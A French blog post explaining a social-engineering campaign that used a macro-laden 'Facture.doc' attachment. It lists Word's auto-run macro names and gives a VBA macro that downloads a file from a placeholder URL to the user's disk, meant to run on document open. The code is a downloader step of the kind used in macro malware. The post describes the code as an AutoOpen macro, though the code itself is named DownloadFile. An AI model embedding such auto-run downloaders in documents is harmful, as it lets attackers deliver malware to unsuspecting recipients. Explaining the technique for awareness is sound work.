L’attaque des Macros !

Le mois dernier de nombreuses entreprises ont été victimes d’attaques par Social Engineering. L’attaquant envoyais par mail aux différents membres de l’entreprise cible un mail contenant la pièce jointe « Facture.doc ». Cette dernière, vérolée par des macros, avait pour but de faire télécharger un malware aux utilisateurs.

Ecrire des macros sous Word

Pour comprendre la simplicité de cette attaque, il faut se pencher sur le système de macros de la suite Office. Si il est bien un produit Microsoft dont il est impossible de renier les qualités, c’est bien la suite Office. Présente dans quasi toute les grandes/moyennes/petites/micro entreprises, sa connaissance est aujourd’hui un élément primordial.

Comme souvent, plus un produit est rependu et plus il est la cible d’attaques. Office embarque une fonctionnalité qui lui apporte un véritable plus, mais qui agit aussi comme une épée de Damoclès, Les Macros.

Ces dernières s’écrivent via le langage Visual Basic Script (VBS pour les intimes ).
Pour cela il suffit de se rendre dans Affichage > Macros. ( cliquez sur le logo )

macros1

 

Il est maintenant temps de nommer notre macro. Il est possible de lui donner le nom de son choix, mais il existe certains noms qui sont « Réservés » pour certains cas :

 

AutoNew S’exécute à la création d’un document
AutoClose S’exécute à la fermeture
AutoExec S’exécute au démarrage de Word
AutoExit S’exécute à la fermeture de Word
AutoOpen S’exécute à l’ouverture du document

Pour que notre macro s’exécute à l’ouverture de Word nous allons donc la nommer « AutoOpen ».
Celle ci contiendra le code suivant :

Sub DownloadFile()

Dim myURL As String '//On déclare une variable String qui contiendra l'url du fichier
myURL = "https://YourWebSite.com/?your_query_parameters"

Dim WinHttpReq As Object '// On définit un objet requête HTTP
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP") '// On crée l'objet
WinHttpReq.Open "GET", myURL, False, "username", "password" '// On effectue la requête avec les paramètres nécéssaires
WinHttpReq.send '//on envoit la requete

myURL = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then '// si on a un résultat
Set oStream = CreateObject("ADODB.Stream") '// On récupère le flux
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
oStream.SaveToFile "C:\Users\Utilisateur\Documents\file.XXX", 2 ' 1 = no overwrite, 2 = overwrite '// on écrit le résultat dans C:\Users\Utilisateur\Documents\file.XXX"
oStream.Close
End If

End Sub

Ce code télécharge un fichier et le sauvegarde sur le PC de l’utilisateur.
Enregistrez le, puis enregistrez votre document word et enfin fermez le puis réouvrez le.
La macro s’exécute. Dans C:\Users\Utilisateur\Documents\ on trouve bien notre fichier file.XXX

Pour être tout a fait honnête, jusqu’à maintenant, je n’avais jamais écrit de macro Word, et encore moins de code Visual Basic. Quelques minutes (secondes ) de recherches m’ont permis d’écrire un code téléchargeant un fichier.

 

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *